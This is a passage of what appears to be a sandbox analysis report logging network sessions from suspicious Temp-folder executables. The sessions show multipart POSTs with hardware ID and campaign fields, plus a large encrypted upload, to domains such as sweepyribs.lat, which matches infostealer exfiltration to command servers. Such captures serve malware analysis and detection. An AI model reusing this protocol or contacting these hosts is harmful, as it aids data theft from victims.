73 49 7a 70 70 4a 5a 65 6f Data Ascii: o41pVdcja9uK4NsRKDpa1Ujgt3TEU36Yb90aSOj0e9dD3PhEk2Lv+n4Qy8V9HpqVqOAHsAC3Pjnq+G46eNX7h9NMOZWn0+t6ytBaISm7vqH8UDY0xTN9iZrZnn4rVCqWE4yZ4SaX+o/qYH8E/Jr6VYhgt6BQd665e4iOKkjl6qcTXFl1h1MLu3pgO3FJvp5BGCHDtUS17pjLOZpL/KTepwP4TKEnI7vrqmB7YSj6SrXoQEdAgAfuifsIzppJZeo
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 53 55 6e 77 30 75 37 4f 69 42 4c 4d 46 69 4b 2b 34 55 59 67 4f 61 51 59 41 63 75 4f 54 73 49 72 69 70 6f 39 59 75 48 34 7a 78 35 6b 53 4f 48 47 32 70 75 46 54 38 44 53 65 76 36 42 57 69 52 4a 77 44 51 68 68 34 34 37 39 78 36 53 78 67 30 58 71 4c 79 58 55 68 56 56 70 66 36 6a 2b 70 67 66 77 54 38 6d 76 6f 31 65 43 41 6e 55 65 44 6e 48 68 6b 62 53 41 34 4b 69 48 56 4b 35 7a 4e 4d 47 52 58 6e 30 32 73 72 47 6c 41 72 34 65 68 75 6e 6b 45 59 49 63 4f 31 52 4c 56 76 57 64 73 59 53 6b 76 38 70 4e 36 6e 41 2f 68 4d 6f 53 65 6a 2b 30 76 71 73 4e 74 42 4b 50 6f 36 39 52 6a 67 64 30 43 41 31 7a 34 5a 36 32 67 4f 57 6d 67 56 36 68 63 54 37 48 6c 46 51 32 66 2f 47 35 75 55 76 6f 56 36 6d 79 70 31 32 43 52 47 52 43 45 6a 66 70 6b 76 33 52 70 4b 75 49 55 4b 31 33 50 73 Data Ascii: SUnw0u7OiBLMFiK+4UYgOaQYAcuOTsIripo9YuH4zx5kSOHG2puFT8DSev6BWiRJwDQhh4479x6Sxg0XqLyXUhVVpf6j+pgfwT8mvo1eCAnUeDnHhkbSA4KiHVK5zNMGRXn02srGlAr4ehunkEYIcO1RLVvWdsYSkv8pN6nA/hMoSej+0vqsNtBKPo69Rjgd0CA1z4Z62gOWmgV6hcT7HlFQ2f/G5uUvoV6myp12CRGRCEjfpkv3RpKuIUK13Ps
2024-12-17 21:07:31 UTC	305	IN	Data Raw: 48 72 61 6f 6f 69 53 7a 42 6f 44 70 35 42 47 43 45 6a 74 55 53 30 6d 75 6a 4c 36 5a 35 36 2b 56 61 75 6f 76 4b 76 72 53 57 57 41 32 6f 62 32 33 41 4c 30 62 6d 4a 66 71 43 64 46 57 4b 56 35 5a 4a 66 48 65 6f 72 61 71 34 49 55 55 38 6b 34 71 68 49 51 53 4c 6d 50 2f 2f 72 4e 4c 36 46 66 4f 71 72 68 44 67 77 64 74 44 30 78 4a 30 4c 6d 72 67 2b 4f 77 67 30 4f 6c 4e 33 32 45 6e 52 49 75 43 50 47 33 70 68 43 68 41 59 53 35 72 52 47 36 53 6a 73 55 53 79 2b 75 71 37 36 48 36 71 65 53 52 65 64 51 4a 63 36 56 51 6e 45 6d 76 76 37 76 53 37 5a 58 30 66 72 6b 45 59 45 56 4f 31 52 62 4a 62 58 4c 37 74 36 30 38 70 73 61 73 7a 63 6c 68 4d 6f 41 4f 48 47 6a 2f 76 6c 4c 39 78 53 62 75 36 78 53 6b 77 63 38 4d 6a 56 51 39 4a 4f 37 6e 76 57 65 75 6c 4f 77 65 6a 58 54 67 78 35 Data Ascii: HraooiSzBoDp5BGCEjtUS0mujL6Z56+VauovKvrSWWA2ob23AL0bmJfqCdFWKV5ZJfHeoraq4IUU8k4qhIQSLmP//rNL6FfOqrhDgwdtD0xJ0Lmrg+Owg0OlN32EnRIuCPG3phChAYS5rRG6SjsUSy+uq76H6qeSRedQJc6VQnEmvv7vS7ZX0frkEYEVO1RbJbXL7t608psaszclhMoAOHGj/vlL9xSbu6xSkwc8MjVQ9JO7nvWeulOwejXTgx5
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 32 62 65 64 0d 0a 77 53 2f 35 58 6a 2b 6e 79 41 63 74 45 66 78 31 4c 4c 37 37 4d 35 74 79 33 39 39 51 47 74 54 6b 71 68 49 51 53 4c 6d 50 2f 2f 72 4e 4c 36 46 66 4f 71 72 68 44 67 77 64 74 44 30 78 4a 30 4c 43 36 6a 2b 47 6e 6c 42 61 45 66 43 66 44 30 68 77 32 50 76 48 6d 6d 45 76 34 56 37 62 6e 36 6b 6e 46 58 44 73 35 43 48 6e 67 6d 61 75 59 71 59 36 44 55 71 39 77 49 34 61 38 57 57 49 32 38 66 44 68 44 66 42 50 32 65 66 71 56 5a 52 45 49 31 78 5a 4c 4c 76 4e 36 74 6d 32 76 38 70 4e 36 6d 46 7a 6e 4d 41 63 4e 69 50 78 35 75 46 4d 73 77 57 62 72 36 6c 48 68 6b 4e 46 4d 67 68 68 34 35 47 32 69 4e 71 65 71 6c 6d 72 64 44 32 47 6f 30 52 37 49 62 4b 37 70 6a 57 4f 47 59 36 39 72 56 2b 44 42 44 74 43 53 33 69 75 78 6f 54 4a 72 4f 43 37 47 75 70 76 63 35 7a 53 Data Ascii: 2bedwS/5Xj+nyActEfx1LL77M5ty399QGtTkqhIQSLmP//rNL6FfOqrhDgwdtD0xJ0LC6j+GnlBaEfCfD0hw2PvHmmEv4V7bn6knFXDs5CHngmauYqY6DUq9wI4a8WWI28fDhDfBP2efqVZREI1xZLLvN6tm2v8pN6mFznMAcNiPx5uFMswWbr6lHhkNFMghh45G2iNqeqlmrdD2Go0R7IbK7pjWOGY69rV+DBDtCS3iuxoTJrOC7Gupvc5zS
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 4f 68 37 78 4c 77 41 63 6e 78 2b 42 2f 46 46 6a 74 55 53 7a 44 74 6a 4b 2b 50 35 37 61 48 45 35 52 4a 46 4d 71 56 55 32 41 68 76 4c 4b 41 43 4b 45 64 74 35 65 2f 55 6f 73 4b 66 42 6f 61 4e 36 44 65 73 73 6d 38 6d 63 51 63 36 6b 68 39 68 49 6f 53 4c 6e 47 45 76 61 38 46 74 77 47 59 35 49 31 66 67 67 56 74 48 41 5a 37 7a 35 32 73 67 36 54 75 78 46 4c 71 4c 32 47 4b 30 6c 5a 6e 63 65 6e 75 38 31 44 6c 52 4e 37 35 2b 45 37 4c 48 54 73 61 53 79 2b 38 30 50 32 62 70 50 6a 45 45 36 6c 6c 49 63 4b 52 52 48 56 32 6a 34 43 45 48 4c 4d 48 6a 36 71 55 62 36 34 49 66 51 73 52 63 4f 69 34 6e 63 6d 71 34 49 73 55 38 6b 35 7a 6a 4e 4a 74 4f 48 47 70 2f 76 6c 4c 68 52 53 48 70 36 31 48 6c 45 6c 65 47 77 68 6e 36 4a 33 39 78 36 53 6d 78 41 7a 36 4f 58 50 41 67 78 49 75 59 Data Ascii: Oh7xLwAcnx+B/FFjtUSzDtjK+P57aHE5RJFMqVU2AhvLKACKEdt5e/UosKfBoaN6Dessm8mcQc6kh9hIoSLnGEva8FtwGY5I1fggVtHAZ7z52sg6TuxFLqL2GK0lZncenu81DlRN75+E7LHTsaSy+80P2bpPjEE6llIcKRRHV2j4CEHLMHj6qUb64IfQsRcOi4ncmq4IsU8k5zjNJtOHGp/vlLhRSHp61HlEleGwhn6J39x6SmxAz6OXPAgxIuY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49997	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4RTAT4OS3BLBL9NT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1329 Host: sweepyribs.lat
2024-12-17 21:07:35 UTC	1329	OUT	Data Raw: 2d 2d 34 52 54 41 54 34 4f 53 33 42 4c 42 4c 39 4e 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 34 52 54 41 54 34 4f 53 33 42 4c 42 4c 39 4e 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 52 54 41 54 34 4f 53 33 42 4c 42 4c 39 4e 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d Data Ascii: --4RTAT4OS3BLBL9NTContent-Disposition: form-data; name="hwid"A9B01461D223924800D57F9DDD37BE0C--4RTAT4OS3BLBL9NTContent-Disposition: form-data; name="pid"1--4RTAT4OS3BLBL9NTContent-Disposition: form-data; name="lid"yau6Na--6989783370
2024-12-17 21:07:36 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ol7oivca2onfen4a3tfr3ehp2; expires=Sat, 12-Apr-2025 14:54:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hb7KF%2Br2KuEyvc1GF9JU%2Fn5R1Z7SLZcJJrIMca%2FxfswMfKA8nhj4PRVYX6dLou1W3Uj2ZiYuE8yVZq001bjWgENSLYiQ8BbSD7k1udA%2FSZ4B4HbT0VjMt1hgUKrwXrhjkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2312e59c484-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1634&rtt_var=619&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2242&delivery_rate=1756919&cwnd=248&unsent_bytes=0&cid=a7716d0674c27681&ts=1357&x=0"
2024-12-17 21:07:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49999	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F5ZITSR64P47CRQS0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18156 Host: pancakedipyps.click
2024-12-17 21:07:36 UTC	15331	OUT	Data Raw: 2d 2d 46 35 5a 49 54 53 52 36 34 50 34 37 43 52 51 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 35 5a 49 54 53 52 36 34 50 34 37 43 52 51 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 35 5a 49 54 53 52 36 34 50 34 37 43 52 51 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --F5ZITSR64P47CRQS0Content-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--F5ZITSR64P47CRQS0Content-Disposition: form-data; name="pid"2--F5ZITSR64P47CRQS0Content-Disposition: form-data; name="lid"FATE99--test--
2024-12-17 21:07:36 UTC	2825	OUT	Data Raw: eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 Data Ascii: JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-17 21:07:37 UTC	1051	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ih0nnq40igdvm1rkali4ueipqj; expires=Sat, 12-Apr-2025 14:54:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6oAXYcIFek%2FvONV0c9%2FgKhwHmO9D5%2F0%2Ft30tnd4oGWJeMbctyt9YBm6UvEpDFnfsrizx%2BHmqB1%2FaVCcWq52atgq2vf3Za5jjNCX7Axa%2FSK3OR2bFQfPabgX8tabCF6CCWBJusRQ3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e23929207d13-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17558&min_rtt=2147&rtt_var=10121&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19120&delivery_rate=1360037&cwnd=252&unsent_bytes=0&cid=c0758979f0889c4d&ts=996&x=0"
2024-12-17 21:07:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50011	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:40 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N8V3GQ6H8WOO1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570393 Host: sweepyribs.lat
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: 2d 2d 4e 38 56 33 47 51 36 48 38 57 4f 4f 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4e 38 56 33 47 51 36 48 38 57 4f 4f 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 38 56 33 47 51 36 48 38 57 4f 4f 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 4e 38 56 33 47 51 Data Ascii: --N8V3GQ6H8WOO1Content-Disposition: form-data; name="hwid"A9B01461D223924800D57F9DDD37BE0C--N8V3GQ6H8WOO1Content-Disposition: form-data; name="pid"1--N8V3GQ6H8WOO1Content-Disposition: form-data; name="lid"yau6Na--6989783370--N8V3GQ
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: ff 6f 6f 44 7c 8b d5 96 10 e3 36 60 10 30 13 41 fc 40 d7 1d c8 40 93 62 1b b2 fb 63 83 31 b4 ca d7 cf 08 4c 8d ad 99 47 b2 98 79 6e 5f 87 be b0 14 50 8b 08 ff 06 32 7d 37 fb 8a af 03 cf e6 cb 36 93 9d 31 7a 47 fa a3 e5 19 35 0a f8 a3 cb 2e f2 e8 0b a5 2e 4d b2 bd b9 f3 e8 05 4a 02 e4 fa 85 e8 c9 56 64 db ab f8 b7 8c d1 95 c6 f1 9d 6e 45 50 87 70 ae 97 93 20 f0 9d cc 70 76 3b ae 79 dc 82 c9 eb e8 a3 85 e8 76 7b 8d 2c fa 32 44 4f 8f f0 b8 c9 c1 09 7d 77 9e e0 c2 41 24 12 c5 b4 35 e6 e6 b7 a0 3b 9f c0 5d 12 13 07 c0 0b 37 51 c6 62 7e d8 ca 31 a9 e5 2e 3f 2a 16 e9 1f c1 ba 2e 06 db f4 ed cc 84 0d 97 d1 91 6b ca 57 f9 e4 b0 5b 37 e5 35 d3 60 31 4a f7 82 b6 6e c6 63 cf a8 49 f4 bd cc 8c 08 32 36 f2 df cf 93 81 6c ab 46 65 2a 71 74 a4 d7 38 f9 4f 06 bd 8d ce f2 Data Ascii: ooD\|6`0A@@bc1LGyn_P2}761zG5..MJVdnEPp pv;yv{,2DO}wA$5;]7Qb~1.?.kW[75`1JncI26lFeqt8O
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: 84 fd 0d f9 50 df bd a4 85 d1 a7 d1 a4 7e 21 47 6f c1 c3 ef 0e 6d 67 7a db 4c ed 8c 9a bc b4 b5 09 77 c1 e3 0f b2 b3 65 76 12 4a d2 1f ea f3 c0 ea f4 70 61 e1 76 67 5f 8e 88 e9 d0 1d 57 20 8e fa ae 9d fb 83 a8 4f 4a b1 a4 15 af 27 6b f1 ec 97 b2 7e 90 e2 d9 6f 56 e9 2f 95 30 51 e3 fe a9 c9 16 b1 9b a7 16 be 18 72 e7 c9 0d 09 d8 e6 68 90 2e 15 4e e8 15 9b 3e f2 9f 9b f2 f3 da f2 36 e3 5a 73 a3 7c d8 16 22 56 4b d7 a8 8e 33 2e 61 22 82 05 e6 1e 4c 6e 89 35 47 23 5a 0a e9 df 18 ed b1 b7 b6 ed 96 61 71 83 31 70 68 14 ed 6a e9 bb 6f 98 28 4f d1 3c 72 ad 49 43 48 d7 0f 5d 11 b2 83 dc f6 0f 93 32 28 9b 38 38 45 ef e7 7d fd 4b d4 8c 62 b8 4a bf 6d fa ee 3c 6d 89 e2 b8 59 15 6c f3 e3 15 7d ec 14 c6 da fe 85 75 e2 ce a2 7a fe 97 e0 91 92 dd 55 ec 8d 91 86 d2 21 3f Data Ascii: P~!GomgzLwevJpavg_W OJ'k~oV/0Qrh.N>6Zs\|"VK3.a"Ln5G#Zaq1phjo(O<rICH]2(88E}KbJm<mYl}uzU!?
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: 18 9e ac da 77 fb a7 89 86 22 c6 f6 cf e0 b5 e1 7f ae cc bd 28 c1 05 7c 9f b0 1e de 5f 54 11 54 cc dc 39 99 6b cc 91 e7 7a 1d db 58 a2 c6 3f 3e 45 2f 95 96 c6 2f 2b 0e 84 7c 64 76 d6 8d dd ad 1d db 27 17 6d 7d ff 8a c4 5d 0f c7 c5 fe d2 f8 90 a3 91 fc 7e 33 07 fa d7 26 ec ff 3d e7 a4 33 b9 b1 7b d8 bd df 0b 91 e5 17 9e d9 e4 fd 47 6d b3 29 39 d6 ea a9 f5 1b 63 2e 5c b3 3e dc 72 2f 15 ab d6 2e 9d fb 48 1f 9e 23 8c f0 7d 0a b1 72 8c da 91 b3 42 3e 54 4f 77 cd 1f f6 4f b8 be 27 47 70 97 fc 8e 6f 4c fb f2 2b 1c 93 5f 4a c9 df a3 dc 6f 70 86 da 3f 7d aa 9e bd 02 5e 12 9b 2a 6d 76 92 ad 4d 5a cb b9 8c 90 30 a3 e9 7b 31 c3 ec fb f4 71 58 b2 7c c2 aa 51 9b 77 6f d7 71 64 b7 30 ff 04 d4 9d 45 f9 38 99 f3 6b 66 44 55 eb cd 87 2c 66 5c e2 2a 05 cc 50 b2 ea 27 e8 01 Data Ascii: w"(\|_TT9kzX?>E//+\|dv'm}]~3&=3{Gm)9c.\>r/.H#}rB>TOwO'GpoL+_Jop?}^mvMZ0{1qX\|Qwoqd0E8kfDU,f\P'
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: e7 d6 04 e2 02 a9 60 76 8d f7 b8 b1 99 c8 45 fe b5 42 59 2a 0e 7b c8 ac d0 6b 83 ad 5f 21 ed c9 da 35 90 f7 c6 c6 03 5c 4c 65 7a 4e 63 9a 1f 43 32 8a 45 db 89 b6 1a 15 61 31 e3 3f e1 96 7f 0b 05 de e2 f2 da 70 60 90 e8 3a ea 70 d0 03 23 ba f1 4a 46 f7 f9 35 03 ab b5 0b 46 95 17 5d 8d fc b7 86 2a 82 9c 61 5f 61 bf ad 72 83 69 fa c8 bf 0b 18 48 cb 19 79 fa ff b5 86 85 88 11 2a 0c ff 8b e0 df 08 f1 02 75 f4 b2 9f 46 12 90 fc ba 35 eb a1 00 2f 53 30 43 51 89 70 66 82 b3 1f 05 d5 6d f5 a4 43 03 e9 b1 e1 38 98 94 92 90 44 7e f0 dd 4b 1b ec 9c 1b ab 4d a0 3c 42 79 2a 57 e7 f6 5e f7 5c 55 7c b1 84 f2 89 7b c4 f4 14 e8 45 36 77 0a 90 ce 96 c3 ca 82 ad 7b 5d ee ef 54 e5 ae 95 9e 83 fc 78 aa 10 c9 26 83 a2 86 ea 32 4b c3 83 4b cb e9 fe ae 3a 48 af db 96 58 d0 28 8e Data Ascii: `vEBY{k_!5\LezNcC2Ea1?p`:p#JF5F]a_ariHyuF5/S0CQpfmC8D~KM<ByW^\U\|{E6w{]Tx&2KK:HX(
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: cf 43 5c dd dc 75 89 a4 45 d0 48 58 8d 89 67 46 ab ae 0a c3 a7 bd 2c 73 62 72 4b 37 56 94 3d 89 97 49 85 11 a6 75 54 4f 4c e7 a2 30 8d 8a 0b bb 25 f4 74 5f e6 4f cd 51 6c bd 0f 41 cb 48 50 a8 1a 0b 42 e7 43 77 f4 bd b7 ae e9 7a 63 1e 6f f7 be 4c ad d3 ac ce b0 2f 71 20 8d 51 83 1d 3e 9a e2 9d f6 c1 3a b5 7a 7f aa 9e c6 9a c4 65 8e d2 77 59 2f b6 45 6c 47 b5 e2 1b 06 5f ec 91 01 f3 9d b1 a5 70 ae 7b e2 7c e2 7c 8b 44 44 0e bb 40 55 e1 48 d2 c4 85 da 1d d1 28 50 c5 a7 47 50 8d 50 fd a7 fb 92 5d 66 93 ef 0b 0d eb 1b 5c 7b 10 89 94 75 05 5c 53 e8 ce f8 4f 37 dc bd 31 df 7b d5 83 70 f0 80 d4 d4 95 63 56 8b 86 e9 c7 58 dd fb 67 3f 9b 89 34 c4 ee 3f de 5c c4 91 a0 0d 70 56 3d ee 4a 56 fa 17 f9 cf 40 d3 a6 4a fe 69 e2 2b c5 cb 1f 1f 46 3b b8 a6 c6 b3 60 70 3e ac Data Ascii: C\uEHXgF,sbrK7V=IuTOL0%t_OQlAHPBCwzcoL/q Q>:zewY/ElG_p{\|\|DD@UH(PGPP]f\{u\SO71{pcVXg?4?\pV=JV@Ji+F;`p>
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: db 2c 42 6c fa a7 99 a9 3a c4 98 a7 11 fb 8f 0b 00 bd b5 70 76 b2 97 f0 6a 1a 3a b9 af 10 17 e4 fa 0e ef e3 93 7a 9c 03 15 5e 3a cf 50 b2 47 b3 41 0b df e3 ca 38 b5 6a 82 24 5d 8d 5d 1a 3a d8 4f e2 b4 df 76 69 81 ea 4d c6 37 ae ac 11 5a b6 28 f4 4a 87 4f 92 a3 64 93 12 68 75 a6 2d 24 2c e5 88 d2 50 43 9f 7e 8b d8 3d 6b 87 11 1a aa 47 68 8a 19 8a 9d c9 1f 35 3f 28 0b 4d a3 e4 dd 36 d6 75 c7 ce 09 db a6 46 37 ad 2f a6 7a c2 e4 29 f5 95 42 74 2e e7 6c af b9 20 1b be 66 72 98 e6 2b 44 a9 55 80 e8 6e b3 a8 d6 33 39 93 cd ec 78 1b 0b ef 08 d3 4c 3c 3b de 61 70 d5 d3 7a e6 4f f0 95 d8 78 41 35 b1 e2 99 3a b4 64 17 7a 57 fd c3 d6 71 ba e5 b6 6c 51 bc 9a e3 37 1b 08 53 84 67 4d 0e dc 1c ea 3b bc 02 38 14 40 ab 33 a9 58 0f 48 0c a9 d8 70 10 8b 28 0a 20 c0 aa 17 2f Data Ascii: ,Bl:pvj:z^:PGA8j$]]:OviM7Z(JOdhu-$,PC~=kGh5?(M6uF7/z)Bt.l fr+DUn39xL<;apzOxA5:dzWqlQ7SgM;8@3XHp( /
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: cc eb b2 fb 89 34 19 39 1a 2d 1c ff 9f 09 a0 33 67 b6 12 81 46 6a 25 ed 79 f1 c4 ed ae d0 33 10 38 29 d0 33 e9 19 37 1c 98 1a b8 be 91 f8 33 b1 2d e8 ee f0 c8 63 11 b1 b0 23 97 c1 58 47 7b bf 46 ef 1e d0 e0 a7 a2 c1 3b 4b f7 e4 09 8e 2d f3 5e 67 c7 4b 6f 6d 81 a2 8e 6a a9 67 e1 8a 37 b4 84 62 e5 bd be 8c bb 9d 4b 8b 26 91 e8 36 20 85 96 59 5d a8 de ff b4 b1 4d f6 62 5b 68 dc 50 ea fe af ab fb 95 98 09 0f 22 98 ff 6e 78 4e 86 d6 cf cf b4 ac 17 3f 62 7b 2f 18 81 7c 8b ab 2d 92 d7 ff 1b 8a 71 2a a2 e2 2e d2 7b 53 1d cb 0c dc 4e 7e 05 0f 86 bc d6 e5 69 92 4a 9f 87 83 62 d2 a6 7e ee 8f b0 cc bc 64 d0 d2 b7 b4 91 2a f1 8b 80 c7 17 7d de 91 3c 1f cb 65 b4 cf 4c f8 1c 95 3f 1f 05 d7 56 db 92 c9 25 7c ad 0e 0c 70 88 f8 7d 9e 66 72 48 b9 79 e8 af 03 48 ed 12 a0 e5 Data Ascii: 49-3gFj%y38)373-c#XG{F;K-^gKomjg7bK&6 Y]Mb[hP"nxN?b{/\|-q.{SN~iJb~d}<eL?V%\|p}frHyH
